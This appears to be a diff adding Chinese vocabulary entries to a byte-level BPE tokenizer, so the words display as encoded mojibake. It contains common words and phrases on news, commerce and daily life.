+çļĦçī¹çĤ¹ +åĴ¬ +å½ĵä¸ĭ +设计å¸Ī +èµĶåģ¿ +第åįģ +æĻºèĥ½åĮĸ +å¼ĢåıijåĮº +åı¯ä»¥éĢļè¿ĩ +åħ±äº§åħļ +åİī害 +ç쵿´» +æĹ¶åħī +éĥ¨ä½į +人æĸĩ +è¿ĽæĿ¥ +ä¹ĭæīĢ以 +ä¸īåįģ +çļĦåѦçĶŁ +éĺ²æĬ¤ +åĽ½äº§ +æ·±åľ³å¸Ĥ +éĤ£å°±æĺ¯ +åΰä½į +çľĹ +çľĹæĻ® +å®ŀæĹ¶ +åı°çģ£ +èĢĮä¸į +æĮĩå®ļ +åĿĿ +èħIJè´¥ +çī¹å®ļ +å¢ŀéĢŁ +æłĩçѾ +æĪ¿ä»· +æĦģ +贯彻èIJ½å®ŀ +æĢ§è´¨ +çłĶç©¶çĶŁ +ç¾İ容 +æī¹è¯Ħ +究竣 +人åĬĽèµĦæºIJ +éĸĭå§ĭ +åĽŀå½Ĵ +èIJ¥åķĨ +èIJ¥åķĨçݯå¢ĥ +ä¸ŃåĽ½äºº +çļĦåŁºæľ¬ +è¯Ŀé¢ĺ +æłĩåĩĨåĮĸ +西èĹı +åĭ¾ +çļĦ设计 +ç®ĢåįķçļĦ +å¤įåζ +æ¸IJæ¸IJ +以å¤ĸ +èģĶåĬ¨ +两次 +æĢ§åĴĮ +æĽ´å¤§ +çļĦåIJįåŃĹ +飦 +ä½łè¦ģ +å¢ĥå¤ĸ +æĹ©æľŁ +åĪĿæŃ¥ +è´¦åı· +害æĢķ +æĺ¨æĹ¥ +åĪļæīį +ç¥ŀç§ĺ +ç²¾å¿ĥ +æµģéĢļ +åħ¨æĸ¹ä½į +以å¾Ģ +ä¹Łå°Ĩ +æĺ¯ä¸ŃåĽ½ +åĽ½å®¶çº§ +å°ĨåĨĽ +æijĬ +æľĢ为 +第ä¸ĢæĹ¶éĹ´ +æ¶Īæ¯Ĵ +å°Ĩäºİ +å¨ģèĥģ +èĭ±æĸĩ +æīĭä¸Ń +çIJĥè¿· +è§Ĥçľĭ +离å©ļ +æľ¬åľŁ +åĪĨæķ£ +æĻ´ +è¦ģ注æĦı +浪费 +管æİ§ +åĩºåĶ® +æĢ»è£ģ +ä¸Ģéĺµ +å¨ĩ +äºĶ个 +å½ĵåĪĿ +çºłçº· +ä¸ĵç͍ +å¤ĩæ¡Ī +åĪĿæľŁ +å®ĥæĺ¯ +åĮºåĿĹ +åĮºåĿĹéĵ¾ +大è¿ŀ +è¿Ļç±» +åıĺæĪIJäºĨ +éĤĦæĺ¯ +åįļ客 +çı¾åľ¨ +ä¸Ģæĸ¹ +å®ĮæĪIJäºĨ +è¿Ļ个æĹ¶åĢĻ +åħ¨å¹´ +ä¸Ĭ线 +ç½IJ +ç«ŀèµĽ +åĩºçīĪ社 +åĵ¥åĵ¥ +寫 +å¾Ĺ以 +èĬ±åĽŃ +äºĨèµ·æĿ¥ +èĦ±è´«æĶ»åĿļ +çļĦåİŁåĪĻ +讲解 +æ¶ĪåĮĸ +æįŁå®³ +æļĤæĹ¶ +å¾ĹçŁ¥ +éĢĤç͍ +éŨåºĹ +解读 +æĻ®åıĬ +人æ°ijæ³ķéĻ¢ +åī¯ä¸»ä»» +å¿ĥçģµ +è¯ĬæĸŃ +ç¾İ女 +æŁ¯ +年以æĿ¥ +æ´»è·ĥ +åĢŁåĬ© +åħ±å»º +è¯ī讼 +æĶ¾æĿ¾ +çªĹåı£ +ä¼ģæ¥Ń +åĬłæĭ¿ +åĬłæĭ¿å¤§ +ä¹°äºĨ +主æµģ +æĩĤå¾Ĺ +å°Ĩåħ¶ +éĢıæĺİ +å·¥ä½ľä¸Ń +èĤ¡ä»· +æ¡£æ¡Ī +没æľīä»»ä½ķ +åijĬçŁ¥ +å¹´åĪĿ +æĹ¥ä¸ĭåįĪ +åİĤåķĨ +èĬĤå¥ı +主导 +è£Ŀ +åħ³éĶ®è¯į +èģĬ天 +åĨĻä½ľ +æĶ¹éĿ©å¼ĢæĶ¾ +æľīæľĽ +éĢļæĬ¥ +èIJĮ +æĢ»é¢Ŀ +çŁŃæľŁ +ä¸Ģçķª +çĶŁæ´»çļĦ +åĮĸçļĦ +æĺ¥å¤© +è¿Ļåľº +æĸ°å¼Ģä¼łå¥ĩ +æĺ¯è¦ģ +å°ļæľª +åıĺæĽ´ +ä¸Ģåij¨ +客è§Ĥ +æĹ¥èĩ³ +é¹° +çݲ +å°ĨæĿ¥ +客人 +åıĺéĿ© +说äºĨ +åİŁçIJĨ +èģĮåĬ¡ +åıĪæľī +ä¸Ģåı¥è¯Ŀ +æĦŁåıĹåΰ +ç¬ĶèĢħ +ç§»æ°ij +西åįĹ +ä¹ĥèĩ³ +æŃ£è§Ħ +åĪĿä¸Ń +çĬ¬ +å½ĵäºĭ +å½ĵäºĭ人 +æĪij们è¦ģ +åħ¥åı£ +éĤ£æĹ¶ +æľīéĻIJ责任 +å°ij女 +è¿Ļä¹Īå¤ļ +åĪĨåħ¬åı¸ +å®ĩå®Ļ +çļĦéĢīæĭ© +å§IJå§IJ +åıijèµ· +è»į +æĽ´å¥½åľ° +éĻĨç»Ń +æľ¬æľįåĭĻ +å«© +èµ¶ç´§ +èĦĤèĤª +第äºĮ天 +æĪijä¼ļ +两ä½į +æķ² +åħ¬å®īæľºåħ³ +ç§ijæĬĢåĪĽæĸ° +尺寸 +è¾IJå°Ħ +å®ĹæķĻ +转æį¢ +åĩºçİ°åľ¨ +ä¸Ģé¢Ĺ +æľŁéĻIJ +åIJĮåѦ们 +åĮĹæĸ¹ +ä½łå°± +ä¸Ģ带ä¸Ģè·¯ +èĢģå©Ĩ +游æĪıçݩ家 +çļĦç»ĵæŀľ +è¡¥åģ¿ +å¤ĸè´¸ +对å¾ħ +ç»´çĶŁç´ł +ç»ıéĶĢåķĨ +è¿ĺå°Ĩ +åŃIJ女 +æĽ´é«ĺ +ä¸į大 +éī´å®ļ +让ä»ĸ们 +æīĢè°ĵçļĦ +æŃ»äºĨ +帮æī¶ +åĵ²åѦ +以ä¸ĬçļĦ +çļĦåħ³éĶ® +æĹ©å°± +æĬ¥ä»· +éģµå®Ī +æī©å¼ł +æĺ¯å¾Ī +å¼ĢéĢļ +æĸ°åĬł +æĸ°åĬłåĿ¡ +ç¿»è¯ij +询éĹ® +é¸Ń +ä½ĵåĨħ +两个人 +çι +éľľ +乡æĿijæĮ¯åħ´ +çĿ¡è§ī +å®ĺåijĺ +åĪĽå§ĭ +åĪĽå§ĭ人 +ä¼Ĺ人 +åį³ä¾¿ +çĸ«èĭĹ +ä¼ģä¸ļå®¶ +渣 +ç²¾åĬĽ +å¤ĸéĥ¨ +èģªæĺİ +è¿Ļä¹Ł +å½ķåıĸ +åĨ²çªģ +åħ¨èº« +åŃ£èĬĤ +忽çĦ¶ +çļĦæĢģ度 +åĤ¨å¤ĩ +ä¿Ŀåħ» +çļĦæĥ³æ³ķ +ä¸Ĭæµ·å¸Ĥ +æIJºæīĭ +çļĦä¿¡æģ¯ +åķĨåľº +çļĦæĢĿæĥ³ +æĿĥåĬĽ +毫æĹł +æĢĢåŃķ +硬件 +åĨħèĴĻåı¤ +æİ¢è®¨ +åħ»çĶŁ +çļĦ表çݰ +空ä¸Ń +æģIJæĢĸ +å¾Īé«ĺ +ç»ıæµİ社ä¼ļ +ä¸ĬæĿ¥ +å»¶ç»Ń +éĩįå¤į +éĺ²èĮĥ +çļĦå½¢å¼ı +æľĪåºķ +èĢģ年人 +绿åĮĸ +å±±åĮº +æĭ¿åĩº +æĹħ客 +æĽ´æį¢ +åħ¬ä¸» +èĬĤ约 +åħ¨åİ¿ +åĽŀæĬ¥ +çIJĨæĢ§ +çĸ¯çĭĤ +æ¶īå«Į +åī§æĥħ +åĨ¬åŃ£ +åIJİç»Ń +è¿Ļæĺ¯ä¸Ģ个 +æ¼Ķ讲 +ä¸Ģå±Ĥ +æľīåħ³éĥ¨éŨ +æĹłå¥Ī +ç§įç±» +缸åħ³çļĦ +æĪĸèĢħæĺ¯ +æī¶æĮģ +å¤ļæķ° +çļĦä½ľåĵģ +ä¸ĭä¸ĢæŃ¥ +å¸ĪåĤħ +é«ĺéĢŁåħ¬è·¯ +好åıĭ +ä¼ĺç§ĢçļĦ +è¿ĽäºĨ +æģIJæĢķ +äºĨåIJ§ +大è§Ħ模 +çļĦä¸ĸçķĮ +æĢĢçĸij +å·· +åħ´å¥ĭ +æĪ° +æĿijéĩĮ +æľĭåıĭåľĪ +åĨ¬å¤© +ä¸Ńåįİ人æ°ij +åįıåķĨ +è¯ĦéĢī +æĹŃ +å¢ŀåĬłäºĨ +åıĹ伤 +ä¸ĢèĤ¡ +便æį· +ä¸ij +鹤 +å¤ĸè§Ĥ +å·¥ç¨ĭå¸Ī +åĴĮåħ¶ä»ĸ +è¿Ļå°± +ä¸Ńå°ıä¼ģä¸ļ +西åĮĹ +åĽ½æľīä¼ģä¸ļ +èĭ¥æĺ¯ +åı¯æĥľ +çĶŁæĹ¥ +åĩ½ +ä¹°åįĸ +ç¥Ŀç¦ı +人æ°ij群ä¼Ĺ +åħīæĺİ +åħ¬å¯ĵ +æĺ¯è°ģ +æĪijçŁ¥éģĵ +è¯Ńæĸĩ +æķıæĦŁ +ä¸įéĶĻçļĦ +æĿ¥è®² +æ³¢åĬ¨ +çļĦ第ä¸Ģ +åľ°éľĩ +åľ¨åħ¨åĽ½ +骨干 +å®īç½® +å®¶ç͵ +ä¸İæŃ¤ +ä¸İæŃ¤åIJĮæĹ¶ +åıĹçģ¾ +çĥŃ线 +çļĦæĬĢæľ¯ +æµĭéĩı +ä¾Ŀèµĸ +ä¸ŃåĽ½çļĦ +ç̧ +è¾ĥé«ĺ +踩 +ä¼ļåľ¨ +建éĢł +导èĪª +æĥ³èµ· +åħ¨ä¸ĸçķĮ +建æĿIJ +ç¯Ģ +çļĦåŁºç¡Ģ +èĩªåĬ¨åĮĸ +åīįåIJİ +çĿ¡çľł +æİ¨è¡Į +æį®äºĨè§£ +ä»Ģä¹ĪæĹ¶åĢĻ +ä¸įåĸľæ¬¢ +çħ¤çĤŃ +éĤ£ä¹Īå¤ļ +å¸ĤåľºåĮĸ +ä¸į管æĺ¯ +ç«ĭåľº +éĥ½æ²¡ +课é¢ĺ +æĪij们å°Ĩ +è¿ĩçļĦ +åĨįåĬłä¸Ĭ +çξ +身æĿIJ +çͷ女 +è¿ľè¿ľ +çĶ·çĶŁ +èĩªèº«çļĦ +è´Łæĭħ +çϾä¸ĩ +西çıŃ +西çıŃçīĻ +åĩĢåĪ©æ¶¦ +澳大 +澳大åĪ©äºļ +ä¸įåİ» +æī¿åıĹ +楼çĽĺ +å¢ĥåĨħ +æ··åĩĿ +æ··åĩĿåľŁ +æĢĿæĥ³æĶ¿æ²» +å¸ĤåĮº +æĭĽæłĩ +åĽ¢ä½ĵ +è¿Ľåº¦ +åĨĽéĺŁ +åıįå¼¹ +äºĨä¸ĢäºĽ +æİ¥å¾ħ +çļĦåŃ¦ä¹ł +éħįéĢģ +é£Łåĵģå®īåħ¨ +æĽ¿ä»£ +æĺ¯ä»¥ +éĢļç͍ +çłĶç©¶æīĢ +ç¦ħ +æīĶ +éļĶ离 +ä¸ĩå¹³æĸ¹ç±³ +çļĦè§Ħå®ļ +ç»ĻæĪij们 +æ¿Ģåħī +ä¼ļåĩºçݰ +çŁŃä¿¡ +ç©¿çĿĢ +æ²Īéĺ³ +æķĻæĿIJ +éĺ²çĸ« +ä¼ĺèī¯ +约å®ļ +æĪijçľģ +åħ¬æ°ij +é쏿ĵ +é쏿ĵĩ +å·²æĪIJ为 +ä¸įå¿ħ +ç¥ĸåĽ½ +å¹¶æľª +åľŁå£¤ +å¾®ç¬ij +äºĭä¸ļåįķä½į +çļĦ游æĪı +åħ¬ç¤º +åIJĪçIJĨçļĦ +çªĿ +æ°Ķ象 +å®¶ä¸Ń +äº®çĽ¸ +åį«æĺŁ +è®°è½½ +è§Ĩéĩİ +åľ°åĮºçļĦ +ä½Ĩä»ĸ +èĤĮèĤī +äºıæįŁ +åĬŀåѦ +ä¸Ģè¡Į +è¯ŀçĶŁ +åıijå¸ĥçļĦ +çļĦæľįåĬ¡ +çļĦçłĶç©¶ +åij¨æľ« +产ä¸ļåĽŃ +é«ĺ温 +æĪIJåĬŁçļĦ +æŃ¥éª¤ +åŃĺåĤ¨ +åŃIJåħ¬åı¸ +让她 +ä¸Ńæľī +åĺī宾 +妮 +æĺİå¹´ +äºĨåIJĹ +äºīè®® +æĪĪ +ä¸Ģæľ¬ +ç¾İ丽çļĦ +ä½łè¯´ +大人 +æĶ»çķ¥ +ä¸įæľĥ +å¾ħéģĩ +ä¸Ģè¾Ĩ +çīĪæĿĥæīĢæľī +æ°ijä¼Ĺ +åĬŁå¤« +å±ķä¼ļ +大èĦij +æ¯ıæľĪ +å°ı麦 +æµĻæ±Łçľģ +çļĦæīĢæľī +ä¸ĭæ»ij +èĵĿèī² +è¦ģæĥ³ +åѦçĶŁçļĦ +å½ĵä½ł +ä½ľæĪĺ +家乡 +å¤ļåIJį +é«ĺäºİ +åĿļ强 +è¿ŀéĶģ +åIJİæŀľ +人äºĭ +ç´ħ +æ¿ĢåĬ¨ +è¿ĽæĶ» +ç©Ĩ +ä¸ĺ +让èĩªå·± +以æŃ¤ +夫人 +å¼Ģ设 +æ°Ķè´¨ +鸡èĽĭ +çĦ¡æ³ķ +åIJĥäºĨ +åĪĨåĪ«ä¸º +èģĶåIJĪåĽ½ +å½ĵ代 +å¦Ĥæŀľæĺ¯ +è¿ľç¨ĭ +åĸĤ +è®°ä½ı +æ¸ħåįķ +åIJĪä½ľä¼Ļä¼´ +åİ»åģļ +æķħéļľ +模æĭŁ +å¸ĪçĶŁ +åīįæĿ¥ +ç͵è§Ĩåī§ +çĥŃçα +éľ²åĩº +é«ĺå±Ĥ +ç͵åύ +纪å¾ĭ +å¼ĢåıijåķĨ +éķ¿å®ī +è½½ä½ĵ +çļĦå°±æĺ¯ +被人 +åıĹçIJĨ +篮çIJĥ +èİİ +交ç»Ļ +æľªæĿ¥çļĦ +两大 +åIJķå¸ĥ +çŃī人 +çļĦæĹ¥åŃIJ +åIJĪä½ľç¤¾ +æĮijéĢī +åŃĺæ¬¾ +ç³»ç»ŁçļĦ +æĬĬå®ĥ +没æľīä»Ģä¹Ī +ä»İæŃ¤ +ä¸ŃåįĪ +çĸ¼çĹĽ +å·©åĽº +浪漫 +缸åħ³éĥ¨éŨ +éķ¿åŁİ +纤维 +ä¸ĬéŨ +çĪĨçĤ¸ +èµ·çĤ¹ +çļĦéĢļçŁ¥ +èĢĮæĿ¥ +çļĦèĢģ +æīĭéĩĮ +è¯ŃéŁ³ +è¾Ľèĭ¦ +æ±Łèĭıçľģ +ç͍äºĨ +身份è¯ģ +æľīåĬ© +æľīåĬ©äºİ +çī©èģĶç½ij +åĩºéŨ +å¼ŁåŃIJ +æĥ¹ +è¿Ļä»¶äºĭ +æĪij们åı¯ä»¥ +çļĦçĶŁåij½ +æľīä¸Ģç§į +åºĹéĵº +åıĮæīĭ +çļĦæ¶Īæģ¯ +èĢIJå¿ĥ +å°´å°¬ +éĤ£å¤© +é¦ĸæī¹ +æĺ¯ä¸Ģå®¶ +人æ°Ķ +åıįæŃ£ +æĪijåĴĮ +å®łçī© +ä¸į对 +寻æ±Ĥ +çĽ¸ä¼¼ +åľ¨ç¾İåĽ½ +åı«åģļ +åĹİ +ç«ĭè¶³ +ç͍éĢĶ +åħĨ +大æ°Ķ +åIJijä¸Ĭ +ä»ĸå°± +é¡¹çĽ®å»ºè®¾ +èĭ¥å¹² +æĺ¯æľī +æ¿Ģæĥħ +çļĦæĦıä¹ī +æĺŃ +严éĩįçļĦ +å¯ĨéĽĨ +èĪŀè¹Ī +èį£èİ· +èİ·æĤī +æ±ŁåįĹ +åģĩå¦Ĥ +æĪ·å¤ĸ +线索 +ç§ģ人 +转åŀĭåįĩ级 +çļĦä»·å̼ +åįķçĭ¬ +èĢģçϾå§ĵ +å°įæĸ¼ +åĽ½éĻħåĮĸ +ä¼°å̼ +æľįåĬ¡ä¸ļ +èĩŃ +æİīäºĨ +è§£åĨ³äºĨ +ä¹Łä¸įèĥ½ +åħ¹ +æĸ¯çī¹ +æķħæĦı +è¿ĩ度 +èĬĤæĹ¥ +çϽçĻľ +çϽçĻľé£İ +ç»§æī¿ +äºĨä¸įå°ij +äºĮ人 +è§ģéĿ¢ +æĥ³æĥ³ +å¤įåIJĪ +康å¤į +åİ¿åŁİ +åľ¨åĽ½åĨħ +åľºåľ° +é϶çĵ· +è¿Ļ项 +çľ¼ä¸Ń +糸 +æĦŁè§īåΰ +æŀľçĦ¶ +æĶ¾åħ¥ +约æĿŁ +æİĴæŁ¥ +车主 +çļĦæĦıæĢĿ +æĸ°åŁİ +æĥ³çĿĢ +éģĤ +èĮ¶åı¶ +ä¹°æĪ¿ +åĨľæĪ· +é«ĺæīĭ +çİīç±³ +æĸ°åĨłèĤºçĤİ +çħ§æĺİ +æĮĩåįĹ +踢 +æķijæı´ +æĻ¯çĤ¹ +ç¨İæĶ¶ +çļĦæīĭ +æŃ£å¥½ +è¦ģæĬĬ +éļıæĦı +åħ¶å®ŀæĺ¯ +ç»Ļèĩªå·± +è°ĪåΤ +æ¯ı天éĥ½ +æĢģåĬ¿ +é¢Ħ约 +åİĨåı²ä¸Ĭ +å®Ŀè´Ŀ +åīįè¿Ľ +ä¹Łå°±æĺ¯è¯´ +çļĦæĦıè§ģ +åı£ç½© +åİĺç±³ +èĬ±è´¹ +ä½ĵèĤ²æĬķæ³¨ +åħ¬ä¼Ĺåı· +èijĹåIJįçļĦ +å¼ĢæĪ· +æĭįåįĸ +å²ģæľĪ +åĨħæ¶µ +å®Įæķ´çļĦ +é«ĺåİĭ +åħ¬åĬ¡åijĺ +使ç͍çļĦ +çĶŁäº§çº¿ +妹妹 +走访 +æĺ¯åı¯ä»¥ +åľ¨å®¶ +æļ´åĬĽ +æ³°åĽ½ +è´¨çĸij +ä¸įéģİ +天çĦ¶æ°Ķ +缺çĤ¹ +å°ıåŀĭ +ä¸įä»ħæĺ¯ +é»ijæļĹ +梨 +æĸĩæĹħ +è¦ģæľī +ä¸Ńå±± +çļĦæķ°æį® +å¾Ĺå¾Ī +以便 +对ä»ĸ +åĬłä»¥ +çϼçı¾ +设å®ļ +èĤļåŃIJ +éĿĸ +å¥īçĮ® +ä¸įåıĺ +åı£ç¢ij +åľ¨åĵªéĩĮ +ä½IJ +è¿Ļ两个 +çļĦæĸ¹åIJij +æŀ« +äºĮ次 +çīĩåĮº +éłIJ +ç£Ĭ +æĭ¿çĿĢ +å·²ç»ıæĪIJ为 +ä¹ĭä¸Ĭ +å®ĹæĹ¨ +奶奶 +é«ĺæĸ°åĮº +社æľĥ +è·Łè¸ª +æľįåĬ¡ä¸Ńå¿ĥ +æī¯ +æīĭæĮĩ +礼çī© +宿èĪį +ç͍å¿ĥ +æıIJé«ĺäºĨ +亮çĤ¹ +ä¸įæĦ¿æĦı +æĴѿ; +å¤ļå°ijéĴ± +没ä»Ģä¹Ī +æķ°åįģ +æĢ»çĽij +çļĦåŁİå¸Ĥ +æī¾åΰäºĨ +åĨħåľ° +åΰçİ°åľ¨ +æĪĺæĸĹåĬĽ +åİŁå§ĭ +åĥ§ +åĢĴæĺ¯ +æľĢåħ· +è´«åĽ°æĪ· +éĢģåΰ +级åĪ« +åĩºèµĦ +æĪªæŃ¢ +ç§įåŃIJ +èĥ½ä¸įèĥ½ +幸è¿IJ +èĸĩ +项éĵ¾ +æĮĤçīĮ +ä¸Ģ樣 +ä¹ĺ客 +èIJ½åIJİ +ä½ĨæĪij +æĹ©åľ¨ +åĬ¨æ¼« +å¹³çŃī +å¯¹ä½ł +ä¸įæĢķ +å¤ĸçķĮ +å¤ļå¹´æĿ¥ +é¦ĸ个 +æ²³åįĹçľģ +æĪĸåħ¶ä»ĸ +éķľå¤´ +åįĹæĺĮ +ä¸ĢéĿ¢ +éĢłæĪIJçļĦ +å´Ķ +çŃĴ +æķĻèĤ²éĥ¨ +åľ°åŁŁ +æĺĨæĺİ +å·´é»İ +æīĭ游 +ä¸ĢæĹ¶ +çłį +顶级 +åħ±è®¡ +åİŁæ²¹ +è¾īçħĮ +说æĺ¯ +æĸ°åįİ社 +ç»ıåİĨäºĨ +ä¸įæŃ¢ +è¦ģä¹Ī +èĢħçļĦ +æĢ»æĬķèµĦ +è¡Įé©¶ +ä¸Ĭå¸Ŀ +年纪 +çIJ¼ +ä¼łè¯´ +ç²¾èĭ± +æĸ¹éĴĪ +æ±Łæ¹ĸ +æĪIJçĤº +æĢ»éĩı +æĬķæĶ¾ +åĬ¨çĶ» +èŤ +ç͵æºIJ +éĴĻ +åIJĮè¡Į +æĻ®éĢļçļĦ +åĽ¾ä¹¦é¦Ĩ +è¯ĪéªĹ +æħĪåĸĦ +è¿Ļ份 +主æĮģ人 +å°±è¿Ļæł· +èĢĮæĪIJ +èĩªè¡Į车 +ä¸ŃåĽ½çī¹èī² +èĤ¿çĺ¤ +åIJ¾ +å¼Łå¼Ł +åıĹçĽĬ +éĢīæĭ©äºĨ +æĺİæĺ¾çļĦ +æĬ¥èĢĥ +ç¬ijéģĵ +éĽĸçĦ¶ +温å·ŀ +éĿŀæ´² +ç§įç§į +åıĤåĬłäºĨ +è´§è¿IJ +éļı便 +就没æľī +縣 +央è§Ĩ +ç©¿è¶Ĭ +çļĦçݰ象 +åĩłæ¬¡ +çļĦé£İéĻ© +æŃĮæĽ² +æľ¬å±Ĭ +å¹´åĨħ +ä¸įè¶ħè¿ĩ +è¿ĩå¤ļ +å¿ħé¡»è¦ģ +ç»ĵ论 +åĢŁéī´ +ç¥ŀå¥ĩ +æľŁæľĽ +ä¸ĵ享 +éĿŀ常éĩįè¦ģ +æĦıè¯Ĩåΰ +åIJĪå¹¶ +æĬĬèĩªå·± +å¥Ĺè£ħ +éŃĶæ³ķ +å¤ıåŃ£ +ä¸įåĥı +å¢ĥçķĮ +æĥĬåĸľ +æľīä¸Ģ天 +çĦ¦çĤ¹ +æĪij认为 +åħ°å·ŀ +ç͵æ°Ķ +èģĶç³»æĪij们 +ç§ijæĻ® +她说 +çļĦæĸĩ竳 +å¥ĩæĢª +åıĭ好 +饮æĸĻ +çļĦæĶ¯æĮģ +çŃĶåºĶ +éĩįéĩı +çij¶ +åĩıè½» +ç§ijåѦ家 +巴西 +éĩijèŀįæľºæŀĦ +åħļå§Ķ书记 +貸款 +ç²¾èĩ´ +ä»İæľª +åį°åĪ· +åĽŀ顾 +é¦ĸéĥ½ +åıijèĤ² +éĹ®éģĵ +è¾¾åΰäºĨ +å¿įä¸įä½ı +æīįæľī +æįIJèµł +ä½ĽæķĻ +ä¸įæ¸ħ +éĺŁéķ¿ +缸åıį +æĬ¥èѦ +大åħ¨ +æ¬§çĽŁ +帮å¿Ļ +çļĦæĻĤåĢĻ +缮å½ķ +足以 +èī°éļ¾ +ä»ĸä¹Ł +å·¥ä½ľèĢħ +头èĦij +缺éĻ· +æĪIJç«ĭäºĨ +å°±å¼Ģå§ĭ +认åIJĮ +é»Ħèī² +çĹħæĥħ +覺å¾Ĺ +è¿Ļ两 +ä¿¡ä»° +åľĭå®¶ +ä¸įä»ħä»ħæĺ¯ +çĭ¬å®¶ +èάçļĦ +æĿIJè´¨ +æµ·ä¸Ĭ +çĤºäºĨ +æľºåĬ¨è½¦ +缸å½ĵäºİ +å¤ļåħĥåĮĸ +æĽ´å¤§çļĦ +èĽ® +åģĩæľŁ +å¼ıçļĦ +交éĢļè¿IJè¾ĵ +çľģå§Ķ +ä¸įç®Ĺ +æĶ¾ä¸ĭ +éĹ¯ +äººåľ¨ +港åı£ +æĹ¨åľ¨ +åij½ä»¤ +æŁIJ个 +平稳 +åıªå¥½ +人人 +äºŀ +äºĮç»´ +äºĮç»´çłģ +æŀģ为 +åĪ«å¢ħ +åħ¶ä½Ļ +大äºĭ +主管éĥ¨éŨ +æĹłéĶ¡ +éŵ +éģŃåΰ +说è¿ĩ +ä¸ºä½ł +è§£çŃĶ +éªĮæĶ¶ +çļĦç»ıéªĮ +åĮ¹éħį +çģ«ç®Ń +豪åįİ +æŁIJæŁIJ +çļĦæĹ¶ä»£ +书éĿ¢ +æģĴ大 +å»¶éķ¿ +ä¸ĢåIJĮ +æľªèĥ½ +交æį¢ +çĶ¢åĵģ +çŃīåΰ +åĪĨ离 +æīĵç͵è¯Ŀ +å¹²çĩ¥ +è¾ĥå¤ļ +å¤ļå¹´çļĦ +èĥĮæĻ¯ä¸ĭ +为ä¾ĭ +æijĺè¦ģ +å´Ľèµ· +æŃ¤åĪ» +æľīæľºä¼ļ +æĿ¡æ¬¾ +é¢Ĩ导å°ıç»Ħ +çļĦ身ä½ĵ +åįķä¸Ģ +央è¡Į +ä¸įæĸŃæıIJé«ĺ +ä»·å̼è§Ĥ +èĬ½ +èIJį +æ³ķå¾ĭæ³ķè§Ħ +ä¸įéĶĪ +ä¸įéĶĪéĴ¢ +åĩºäºİ +èĻļæĭŁ +æį®æĤī +çĥ¦æģ¼ +åħ¨æĸ°çļĦ +æī«æıı +çĻ»éĻĨ +èīºæľ¯å®¶ +çļĦé£Łçī© +çļĦåŃĺåľ¨ +客åİħ +æĪij们就 +æŁ¥çľĭæĽ´å¤ļ +è¯Ħ审 +å¸Ĥåł´ +è¬Ľ +巨头 +ä¸ŃåĽ½ç»ıæµİ +äºĨèĩªå·±çļĦ +åĨ³è®® +çĽijçĿ£ç®¡çIJĨ +æĬķ票 +åĨį度 +è¡ĮçĤº +注åħ¥ +ä½ľä¸ºä¸Ģ个 +æ¯ı个人éĥ½ +åįķåħĥ +è¦ģçŁ¥éģĵ +被称为 +ä¹ĭéĻħ +è§£éϤ +丸 +溫 +ä¸īæĺŁ +é²ľæĺİ +ä¹Łéĥ½ +æĹ¶æľº +åĩºæīĭ +æĥħå½¢ +åķĨè´¸ +éĢī举 +对èĩªå·± +çĶŁåĬ¨ +åħĭæľį +个ä½ĵ +èĭij +稱 +大åݦ +æĺ¯å¯¹ +åĪ©æģ¯ +è¿IJåĬ¨åijĺ +åĮĸè§£ +åīįæ²¿ +æĦŁæģ© +æĢ»ä¹ĭ +é«ĺæĸ°æĬĢæľ¯ +åĿĩ为 +åħ¨åĮº +æ°Ķæ°Ľ +åı¯ä»¥è¯´æĺ¯ +ä½ı宿 +åħļåijĺå¹²éĥ¨ +åĹ¯ +è·µè¡Į +çļĦä¸ĵä¸ļ +èĢĥéªĮ +èķ¾ +åħ¬åŃIJ +çļĦçĬ¶æĢģ +æ½®æµģ +ä¿¡æīĺ +è´¼ +åIJĦæĸ¹ +æķijåĬ© +éĿŀ常çļĦ +æ¡¥æ¢ģ +åħ¬æĸ¤ +ä¼¼çļĦ +çľĭ好 +å±Ģéĥ¨ +å®īéĿĻ +éħįä»¶ +常è§Ħ +å¼Ģ车 +第äºĮ次 +ä¸Ĭ级 +åıĤèµĽ +å®¶å±ŀ +强åĬ¿ +åľ¨ä»ĸ +åIJijåīį +ä¹ĭåľ° +éĥ¡ +è¡Įç¨ĭ +èѦåijĬ +è§Ħå®ļçļĦ +åķĨåŁİ +äºĶ大 +æķĻ室 +åįģè¶³ +æīĢä»¥åľ¨ +å°Ĩç»§ç»Ń +çŃīæĸ¹å¼ı +å®¶ä¼ģä¸ļ +交ä»ĺ +çĤ¹è¯Ħ +ç»ĵç®Ĺ +ä¹Łåı¯ +å¤ĸæ±ĩ +è¿Ļç§įæĥħåĨµ +æİĪäºĪ +å¸ĥç½® +æĪIJç«ĭäºİ +é¢ĦèѦ +管çIJĨ人åijĺ +å©ļ礼 +ç»ĵæĿŁåIJİ +åħ¥éĢī +æĹłæ¯Ķ +åĴĮåıijå±ķ +çϽéħĴ +çİ©åħ· +ä¸ĩç¾İåħĥ +çļĦæĪIJ绩 +æĭįçħ§ +èĢĥèĻijåΰ +ä¼ģä¸ļåıijå±ķ +äºĨ个 +çĶŁæ°Ķ +çļĦ女人 +äºĶåįģ +çĪ·çĪ· +纽约 +éĥ½è¢« +ä¸Ĭ课 +çĽ¡ +ä¼łç»ŁæĸĩåĮĸ +æ½ľåľ¨ +åıijå°Ħ +ä¸Ģ身 +éĺ²å®Ī +åĪ® +é¢ĺ缮 +åľ¨åĨħçļĦ +ç¾İ好çļĦ +è¿ĻéĩĮçļĦ +ä¸Ģä¸Ŀ +人åĿĩ +å̡坼 +身åIJİ +æī©å±ķ +大éŨ +就被 +è¯¥é¡¹çĽ® +æŀ¶æŀĦ +ä¸Ģåı£ +ä¿¡æģ¯æĬĢæľ¯ +å¼Ģä¸ļ +æĶ¶åıĸ +ç½ij页 +æĶ¯æı´ +å°ģéĹŃ +å¡ijéĢł +大èĥĨ +å¿«éĢŁåıijå±ķ +çľĭä¼¼ +æ¸Ŀ +è¿Ļæł·ä¸Ģ个 +模åĿĹ +注æĦıåΰ +çł´è§£ +èĩªä»İ +åijµåijµ +ä¹ĭå¾Į +ä¹ĭæĹħ +è·ŁæĪij +æ³ķ人 +æİĴè¡Įæ¦ľ +åĿļå®Ī +好å¤Ħ +çŁ³å¤´ +å¹¶å°Ĩ +èα +æŃĩ +两岸 +å¤ļä¹ħ +象å¾ģ +个æĢ§åĮĸ +çļĦè§Ĵ度 +å¸Ĩ +ç¦ıå·ŀ +æŁ¥å¤Ħ +ä¸¤åĽ½ +åIJ¸å¼ķäºĨ +é¦ĸå¸Ń +大åĵ¥ +é¤Ĭ +涨å¹ħ +éĢīç͍ +許å¤ļ +èIJ½æĪ· +åĵĪå°Ķ +åĵĪå°Ķ滨 +åģļä»Ģä¹Ī +以åħį +é¾į 